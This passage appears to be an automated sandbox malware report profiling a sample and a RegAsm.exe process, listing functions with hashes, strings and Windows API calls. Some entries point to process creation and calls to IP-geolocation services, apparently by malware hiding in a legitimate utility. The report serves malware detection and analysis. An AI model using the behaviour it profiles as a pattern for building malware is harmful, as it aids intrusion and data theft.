Opcode Fuzzy Hash: 61dff21a43155b88b3590fa594852c504bdb77458247f899bf4a855bb83f4af9
Instruction Fuzzy Hash: 0B31CAB4D102599FCB14CFA9D980ADEFBB4AB49320F10842AE814B7310D734A841CFA8

Function 032FD340 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

8bq, xrefs: 032FD3DD

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: 8bq
API String ID: 0-187764589
Opcode ID: 6cef0d0bf86f9be5c55e0b19684d01ce80f9b7475db5b6bcdda189f8ab74f0ec
Instruction ID: cd67b78b9023daf72189c98a41b2680c139161b00f34b8642136358289c716b5
Opcode Fuzzy Hash: 6cef0d0bf86f9be5c55e0b19684d01ce80f9b7475db5b6bcdda189f8ab74f0ec
Instruction Fuzzy Hash: 88313478D25209DFCB04DFA9E484AEEFBB1FB49304F00942AD615A3268DB74A985CF51

Function 032FD000 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75a485d34c28c3961de02c6895c9a08bdda8f0728e337e39a058e44c916b8807
Instruction ID: 022aac7270af0eb09fc7ac7a046dbed93748012688cd2f9480756b3fc27b5a57
Opcode Fuzzy Hash: 75a485d34c28c3961de02c6895c9a08bdda8f0728e337e39a058e44c916b8807
Instruction Fuzzy Hash: CC61E374D10208CFDB04EFA9D984AEEFBB6FF49300F20802AE509AB258DB755985CF51

Function 032FD528 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c1844b695e6540ce52bb0f27a521913bb2a84833d3ffb69471646051cc845fb
Instruction ID: 99a9bb7241e0df84387a9c1c81c62d1f28e6b8a2ecef503112885788855f907d
Opcode Fuzzy Hash: 8c1844b695e6540ce52bb0f27a521913bb2a84833d3ffb69471646051cc845fb
Instruction Fuzzy Hash: 0621F6B4E1421ADFCB04DFA9D1846BEFBB5FB48304F1485AAD505A7248DB349981CF91

Function 032F2024 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 161faebddf061026500d84cbdf7258fb9a174c386dc92521d141266dccddeacd
Instruction ID: 62f7cd02ba886b52894a6f19a9eda73c62a0ed3c2240bfbc4ea243f89673ff33
Opcode Fuzzy Hash: 161faebddf061026500d84cbdf7258fb9a174c386dc92521d141266dccddeacd
Instruction Fuzzy Hash: 102174B4D19628CFEB64DF25DD846AABBB1BB86301F00A1E9940DB3245DB355E81CF04

Function 032F103F Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a32c38450b8b5bbf723ba13b1320646ca986c166493f162c8c53db226af3f3be
Instruction ID: 82b47a5ef2a745cff143b0f6e66c7cdbdbb17853cbc2747af048ef373943f762
Opcode Fuzzy Hash: a32c38450b8b5bbf723ba13b1320646ca986c166493f162c8c53db226af3f3be
Instruction Fuzzy Hash: 7EF0E571C20249EFE711EAB4E498BEDBBE8FB06301F50446DC80593244C7B52AD68B00

Function 032F1050 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b98d5a3da13813965ec976d3c0c2c2ead77c879579c392f91bb778728a41c448
Instruction ID: 61bdf49e58855c3f45b3f09153bad1efde65efe133c181f6829a46c9c628981a
Opcode Fuzzy Hash: b98d5a3da13813965ec976d3c0c2c2ead77c879579c392f91bb778728a41c448
Instruction Fuzzy Hash: EBE0DF3092438CEFE700FBB5A4087EABBECE702311F8054ACD90597245CBB22A948741

Function 032F3831 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18f3fd5459e81710e9391fc638b963326c426cefc578da9e36f4ea431f11767
Instruction ID: c708336483c66d90410b63704d8be5a0b4af7ed31a99b891f89b4a83b7d99b89
Opcode Fuzzy Hash: b18f3fd5459e81710e9391fc638b963326c426cefc578da9e36f4ea431f11767
Instruction Fuzzy Hash: 86F09274D10269CFDB60EF58D98439DFBF4FB49305F1085EADA4DA2240DB345A808F91

Function 032F0FA8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ade794cad120335d7275652d83e823d79626be31c646f4c8908ab636ac31bce9
Instruction ID: b3f080a340c540400d825199cd5ba86c123d32460ee992c71a770c8f4a3963db
Opcode Fuzzy Hash: ade794cad120335d7275652d83e823d79626be31c646f4c8908ab636ac31bce9
Instruction Fuzzy Hash: 18D0A7210AF9094AD251B294740A774F7DCAB07215F84E625E64D51157CF5082C1C641

Function 032F0FB8 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf25c688c6101207bb5b27a12842abc5140eb5e3d268788456cf679e10e4f49b
Instruction ID: 322c873b8ed5099aa4b5915e970f58a4ac1c31393d9876d9e6d428cb05f3ddbc
Opcode Fuzzy Hash: bf25c688c6101207bb5b27a12842abc5140eb5e3d268788456cf679e10e4f49b
Instruction Fuzzy Hash: 6BC08C200BFA0A8EC180B2C4700E3B0F3ACAB06321F84F320AA0E000178FA052C0C291

Non-executed Functions

Function 07252F21 Relevance: 50.5, Strings: 40, Instructions: 532COMMON

Download Yara Rule

Strings

M, xrefs: 07253134
L, xrefs: 07253098
[, xrefs: 0725347F
E, xrefs: 0725340D
H, xrefs: 07253201
6, xrefs: 07253617
0, xrefs: 07253745
:, xrefs: 072536A9
C, xrefs: 07253469
Z, xrefs: 07253279
], xrefs: 072530B6
`, xrefs: 07253433
+, xrefs: 0725331D
], xrefs: 072534D1
b, xrefs: 072531B5
T, xrefs: 07253333
B, xrefs: 07253215
S, xrefs: 07253227
SWDB, xrefs: 07253711
&, xrefs: 07253621
6, xrefs: 07253547
=, xrefs: 07253241
4, xrefs: 0725305A
C, xrefs: 072535D7
W, xrefs: 072532F5
9, xrefs: 07253637
?, xrefs: 0725360D
V, xrefs: 07253191
+, xrefs: 0725349B
`, xrefs: 0725355D
Q, xrefs: 072530CA
5, xrefs: 072534EF
c, xrefs: 0725306A
0, xrefs: 07253309
6, xrefs: 0725334F
a, xrefs: 0725310C
S, xrefs: 0725307E
), xrefs: 07253257
F, xrefs: 07253567
4, xrefs: 07253657

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: &$)$+$+$0$0$4$4$5$6$6$6$9$:$=$?$B$C$C$E$F$H$L$M$Q$S$S$SWDB$T$V$W$Z$[$]$]$`$`$a$b$c
API String ID: 0-1006918912
Opcode ID: c34a610c0d84acdce68b6798f9fcf67486de68aa01dc883b4ed6f90a3adc9356
Instruction ID: d48bf0375042bfcb9b75bd3f960db373bdbb213c0c54293854ccce8fa34f2dee
Opcode Fuzzy Hash: c34a610c0d84acdce68b6798f9fcf67486de68aa01dc883b4ed6f90a3adc9356
Instruction Fuzzy Hash: 126290B5D01629CFEB65DF2AC944799BBF6FB88300F1081EA940CAB251DB795E85CF40

Function 07253F08 Relevance: 50.5, Strings: 40, Instructions: 520COMMON

Download Yara Rule

Strings

b, xrefs: 07254200
Q, xrefs: 0725411B
], xrefs: 0725451C
6, xrefs: 0725439A
SWDB, xrefs: 0725475C
5, xrefs: 0725453A
F, xrefs: 072545B2
6, xrefs: 07254662
S, xrefs: 07254272
), xrefs: 072542A2
4, xrefs: 072540A5
V, xrefs: 072541DC
9, xrefs: 07254682
`, xrefs: 072545A8
E, xrefs: 07254458
T, xrefs: 0725437E
=, xrefs: 0725428C
H, xrefs: 0725424C
+, xrefs: 072544E6
0, xrefs: 07254354
[, xrefs: 072544CA
L, xrefs: 072540E6
], xrefs: 07254107
S, xrefs: 072540CC
c, xrefs: 072540B8
B, xrefs: 07254260
?, xrefs: 07254658
M, xrefs: 07254185
W, xrefs: 07254340
a, xrefs: 0725415D
6, xrefs: 07254592
C, xrefs: 07254622
&, xrefs: 0725466C
Z, xrefs: 072542C4
:, xrefs: 072546F4
4, xrefs: 072546A2
C, xrefs: 072544B4
`, xrefs: 0725447E
+, xrefs: 07254368
0, xrefs: 07254790

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: &$)$+$+$0$0$4$4$5$6$6$6$9$:$=$?$B$C$C$E$F$H$L$M$Q$S$S$SWDB$T$V$W$Z$[$]$]$`$`$a$b$c
API String ID: 0-1006918912
Opcode ID: 753fe9c89c286d46c529416fc7bcc817e01ca77f1ba2593aede6d752e706b5e2
Instruction ID: c15be03004fd6ef5140a50217bc3b5e4836cc6092893c85b864f5f501b8cee43
Opcode Fuzzy Hash: 753fe9c89c286d46c529416fc7bcc817e01ca77f1ba2593aede6d752e706b5e2
Instruction Fuzzy Hash: CF5292B1D016298FEB64DF2AC9487D9BBF6FF88300F1481EA940CAB255DB754E858F40

Function 07259204 Relevance: 3.9, Strings: 3, Instructions: 159COMMON

Download Yara Rule

Strings

UUUU, xrefs: 0725923F
UUUU, xrefs: 07259309
X$c{, xrefs: 072593ED

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: UUUU$UUUU$X$c{
API String ID: 0-153604399
Opcode ID: 4996a954f502e2d0f328a45f481fcc2e5767094f1bd7beaca4cc5d9bc92f92ac
Instruction ID: 3d30a9fb000c5ae9ca3553e56322c36398c1d90625773874fa64586df255bc1f
Opcode Fuzzy Hash: 4996a954f502e2d0f328a45f481fcc2e5767094f1bd7beaca4cc5d9bc92f92ac
Instruction Fuzzy Hash: 728180B1E102289FDB64CFA9D981B9DFBF2BF89300F1481A9E54CE7255D7349A858F01

Function 032F536F Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

O, xrefs: 032F5493

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: O
API String ID: 0-878818188
Opcode ID: 0924e219a10fd733af7023740e9eb6550cf92203762f13c3bca2f16dc437c6ac
Instruction ID: b89d9e7e91016c13a2c15dcac739c4613831f657c2f31680c7254281807b897b
Opcode Fuzzy Hash: 0924e219a10fd733af7023740e9eb6550cf92203762f13c3bca2f16dc437c6ac
Instruction Fuzzy Hash: 0D4180B1E116188BEB5CCF6B9C4069EFAF7BFC5200F14C1BAC50CAA255DB7019868F55

Function 032F5380 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

O, xrefs: 032F5493

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: O
API String ID: 0-878818188
Opcode ID: a8b675fb824795d5874f1bb8c0d4f857b437802458b36a7d4c7c0bb19fb7d416
Instruction ID: ef04f13f0749f87c6656d9fd73442773aa7e5cc97778a2d293b8d483716ec752
Opcode Fuzzy Hash: a8b675fb824795d5874f1bb8c0d4f857b437802458b36a7d4c7c0bb19fb7d416
Instruction Fuzzy Hash: 4F413FB1E156188BEB5CCF6B8C4069AFAF7BFC9200F14C1BAD50CAA255DB7005868F15

Function 032F4F29 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2812bf530f1ec0afa46fa7a0319fb086ab8f7b5f1e1e8021524c21bbfed299db
Instruction ID: 3a70f8ce9c6bb0608d149b725738e53452e4d8ff378bf7aebf70df8227d681b2
Opcode Fuzzy Hash: 2812bf530f1ec0afa46fa7a0319fb086ab8f7b5f1e1e8021524c21bbfed299db
Instruction Fuzzy Hash: BDD16C3195022ADFC704EF79DCC6699B7F2FB84300F19C968C9449B315EB366A66CB81

Function 05BC5DF1 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673044108.0000000005BC0000.00000004.08000000.00040000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.1673118848.0000000005BE0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b1cd8d7e042b36d1f1ea047f1cfa04c210e08b92655a8bc4a54ba75b45013f1
Instruction ID: b2712cef0fd03f80ee0f1be2b214945e984baaf43830f80497094b8ad3213433
Opcode Fuzzy Hash: 8b1cd8d7e042b36d1f1ea047f1cfa04c210e08b92655a8bc4a54ba75b45013f1
Instruction Fuzzy Hash: C5B1BDA289E3D05FE7138770597A6907FB26E13214B1F89DBC8C1DF0A3D2495A5AD332

Function 07255FF8 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfb772149556663f696cbb39a770003feb2de4062f480dc95ef224d535e6c8d8
Instruction ID: e6a39a42e39a5a8a08c977129ec9916517eb31c41b086215041418fea8877c0b
Opcode Fuzzy Hash: cfb772149556663f696cbb39a770003feb2de4062f480dc95ef224d535e6c8d8
Instruction Fuzzy Hash: F1512971A152098FDB04DFBAE98179EBFF3FB88300F04C529E1049B269EB7459858F90

Function 07255FE7 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85777b61936c0484871740fd5a48bd40a1e600abc3160b8f71f67de2d0695f14
Instruction ID: a2afe950df008f150d77e21ef7d3479f7298bbeecaef95d2fd88194465fae4c7
Opcode Fuzzy Hash: 85777b61936c0484871740fd5a48bd40a1e600abc3160b8f71f67de2d0695f14
Instruction Fuzzy Hash: C5515975A152098FDB04DFBAE98179EBFF3FB84300F009529E1149B269EB7459898F90

Function 032F5128 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e999d169089196219b91f494e25a62a7362c92800515c02c60db705e80ff8caa
Instruction ID: b3b4b4a86c550cae829618e0552d2797adc850255f6dadaebb2f2fcf9f56d70a
Opcode Fuzzy Hash: e999d169089196219b91f494e25a62a7362c92800515c02c60db705e80ff8caa
Instruction Fuzzy Hash: 59515E74A103199FDB44EF79E88079EBBF6FB84300F14C529D5049B369EF786A4A8B50

Function 05BE0040 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673118848.0000000005BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.1673044108.0000000005BC0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c561691bda28521dfeee06808348e1ca7ec35fda5a2a2d762042526e190270b
Instruction ID: 8ee4c7db1665c35b94297ecf0beb21ab6128402d395ec24f13a77cb908ce1961
Opcode Fuzzy Hash: 3c561691bda28521dfeee06808348e1ca7ec35fda5a2a2d762042526e190270b
Instruction Fuzzy Hash: F3417C71E016188BEB18DF6B8D4469AFAF7BFC9300F18C1B9984CAA215EB7056858F41

Function 032F336E Relevance: 5.1, Strings: 4, Instructions: 109COMMON

Download Yara Rule

Strings

i, xrefs: 032F34B3
K, xrefs: 032F33A3
:, xrefs: 032F33F4
qaCB, xrefs: 032F34FC

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: :$K$i$qaCB
API String ID: 0-3471435742
Opcode ID: 55a5cf137ac662a1c9479be0d6e7c54da7ec132e8ba70d5b233249103ee4c589
Instruction ID: 90c9defb1a74a50eb643f7e065b91e2b12b083899c81bb40ebf408453613b5d9
Opcode Fuzzy Hash: 55a5cf137ac662a1c9479be0d6e7c54da7ec132e8ba70d5b233249103ee4c589
Instruction Fuzzy Hash: FF41B2B4D067698FEB60DF69DA447AABBF5BB8A301F0051E9D50DB3241DB794A808F04

Function 032F26DC Relevance: 5.1, Strings: 4, Instructions: 68COMMON

Download Yara Rule

Strings

3, xrefs: 032F275B
1, xrefs: 032F27A6
#, xrefs: 032F26F2
*, xrefs: 032F26DC

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: #$*$1$3
API String ID: 0-817150852
Opcode ID: 6ebcea1d4fe579bde827964a33b813333770f13b391bdc0a8a7b87d5931902c5
Instruction ID: 5d51bc660e5bf5b086ad6c884b1f356480cb7c4856633204efc0ab741140bdf0
Opcode Fuzzy Hash: 6ebcea1d4fe579bde827964a33b813333770f13b391bdc0a8a7b87d5931902c5
Instruction Fuzzy Hash: 4121DBB8D14229CFDB60DF25D9447A9FBF5BB46304F00A5E9D54DB3240DB349A808F18

Function 032F21D3 Relevance: 5.0, Strings: 4, Instructions: 40COMMON

Download Yara Rule

Strings

^, xrefs: 032F21F5
\, xrefs: 032F223C
6, xrefs: 032F2253
=, xrefs: 032F21E9

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: 6$=$\$^
API String ID: 0-2761819881
Opcode ID: bb364058250b4702b1ac58683c8020ee611581d64693ebc182f4321fb356a592
Instruction ID: 113007963defc4bf2057c830b20d865c5746ec498a83d86a7390467db7c5d01f
Opcode Fuzzy Hash: bb364058250b4702b1ac58683c8020ee611581d64693ebc182f4321fb356a592
Instruction Fuzzy Hash: 2A01DAB4D462198AEB60DF15D94476AF6B5FB42315F1061E9C20D73240C7788A848E1C

Function 032F2BBF Relevance: 5.0, Strings: 4, Instructions: 33COMMON

Download Yara Rule

Strings

d, xrefs: 032F2C60
I, xrefs: 032F2C04
\, xrefs: 032F2BBF
c, xrefs: 032F2C49

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: I$\$c$d
API String ID: 0-4090987465
Opcode ID: 6720eee6ab5cc23a7a3b070c5a0ea8a95174a63c95350042e082d232592d745c
Instruction ID: 1091e7b8148b7d981008db5ebce06f7af2c9c58a36674ea8562e4243c45e65e2
Opcode Fuzzy Hash: 6720eee6ab5cc23a7a3b070c5a0ea8a95174a63c95350042e082d232592d745c
Instruction Fuzzy Hash: B701D7B4D11229CFEB60DF24D98839ABBB4BB06305F0045E8D60CB3240C7794AC48F55

Function 032F45D6 Relevance: 5.0, Strings: 4, Instructions: 27COMMON

Download Yara Rule

Strings

/, xrefs: 032F463F
*, xrefs: 032F4634
o, xrefs: 032F4605
^, xrefs: 032F45D6

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: *$/$^$o
API String ID: 0-1285218533
Opcode ID: c7a57be30f8a74e9a4c8874266e58799e135efa0bd45ac09c8735a595d01268c
Instruction ID: 07fe26ea40164fbf200412e6ed41a416a930be321a1e31df7e74dd5e59b55ee0
Opcode Fuzzy Hash: c7a57be30f8a74e9a4c8874266e58799e135efa0bd45ac09c8735a595d01268c
Instruction Fuzzy Hash: 1DF0E7B4D5122ACFDB20DF14D954BAABBF1BB06308F5045E8C50CA3240DB745AC08F94

Analysis Process: RegAsm.exePID: 7584, Parent PID: 7544COMMON

Execution Graph

Execution Coverage:	20.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	100

Executed Functions

Function 004CF560 Relevance: 63.6, APIs: 16, Strings: 19, Instructions: 2340sleepprocessCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004CF783

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004CF8BD
Sleep.KERNEL32(000000C8,?,?,?), ref: 004D01B1
Sleep.KERNEL32(?), ref: 004D01DA
GetBinaryTypeA.KERNEL32(00000000,FFFFFFFF), ref: 004D0204
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004D06C0
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004D06D1
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004D06DE
GetBinaryTypeA.KERNEL32(?,FFFFFFFF,?), ref: 004D0900
Sleep.KERNEL32(000000C8), ref: 004D0AFD
Sleep.KERNEL32(00000000), ref: 004D0B26
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004D0FE9
CloseHandle.KERNEL32(?), ref: 004D0FFA
CloseHandle.KERNEL32(?), ref: 004D1007
__aulldiv.LIBCMT ref: 004D1957
ShellExecuteA.SHELL32(00000000,?,?,?,00000000,?), ref: 004D1AFC

Part of subcall function 0053E13A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-0000857D,?,00431295,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E145
Part of subcall function 0053E13A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-0000857D,?,00431295,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E17F

Part of subcall function 0053E0E9: AcquireSRWLockExclusive.KERNEL32(0058E970,-0000857D,?,004312C2,00590F6C), ref: 0053E0F3
Part of subcall function 0053E0E9: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004312C2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E126
Part of subcall function 0053E0E9: WakeAllConditionVariable.KERNEL32(0058E96C,?,004312C2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E131

Strings

:, xrefs: 004D0B3B
jfl4lrk, xrefs: 004CFA6F, 004CFAB9, 004D03C4, 004D040E, 004D04D0, 004D051A, 004D0865, 004D08AF, 004D0C93, 004D0CDD, 004D0D9F, 004D0DE9, 004D11EE, 004D1238, 004D18A9, 004D18F3, 004D1E07, 004D1E51
uia, xrefs: 004CF9C8, 004D031D, 004D0429, 004D07BE, 004D0BEC, 004D0CF8, 004D10FD, 004D1147, 004D17C7, 004D1802, 004D1D16, 004D1D60
b, xrefs: 004D1266
_, xrefs: 004D0B43
`, xrefs: 004D0251
=RMXS, xrefs: 004D1A84
_, xrefs: 004D0B4B
L, xrefs: 004D126A
6, xrefs: 004D16CC
', xrefs: 004D1324
0T\\, xrefs: 004D1567
&, xrefs: 004CFE69
9s{{, xrefs: 004D095E
z, xrefs: 004CFE65
D, xrefs: 004D0548
D, xrefs: 004D0E17
B, xrefs: 004D0B47
N, xrefs: 004D0255

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseExclusiveHandleLockSleep$AcquireBinaryCreateProcessReleaseType$ConditionExecuteShellVariableWake
String ID: &$'$0T\\$6$9s{{$:$=RMXS$B$D$D$L$N$_$_$`$b$jfl4lrk$uia$z
API String ID: 469071346-1791216166
Opcode ID: c7461662331aa317236c2492a2415a82c8e8964e598408f7b87f8a472b049155
Instruction ID: a70c302d395357172e7cb627cab5defa3a3822da03ef01f1912c2819d6da80f7
Opcode Fuzzy Hash: c7461662331aa317236c2492a2415a82c8e8964e598408f7b87f8a472b049155
Instruction Fuzzy Hash: E14334709042688FDB25CB64CC94BEEBBB1BF49304F0481DAE54967381DB786E89CF55

Function 00437690 Relevance: 45.4, APIs: 2, Strings: 22, Instructions: 3434COMMON

Download Yara Rule

Strings

?[^K^, xrefs: 00438F1E
sT:, xrefs: 0043B317
d}, xrefs: 00437BBF
X<9,9, xrefs: 00438E1C
v, xrefs: 004385F4
>P_S[, xrefs: 00439967
Z>;.;, xrefs: 00439BE3
)@Y, xrefs: 0043870A
Content-Type: application/x-www-form-urlencoded, xrefs: 00437891, 004378E6, 00438318, 0043836D, 0043A1EC, 0043A241
e`u`, xrefs: 004390E8
e, xrefs: 00439483
@, xrefs: 0043BC18
/, xrefs: 0043B5B2
A"", xrefs: 00437EC6
https://ipgeolocation.io/, xrefs: 0043B630
https://ipinfo.io/, xrefs: 00438B2F
n, xrefs: 00439D2F
ilyl, xrefs: 00439337
k, xrefs: 00439767
B!!, xrefs: 00437DED
T=$, xrefs: 00437C98
Z>;.;, xrefs: 004395EB

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
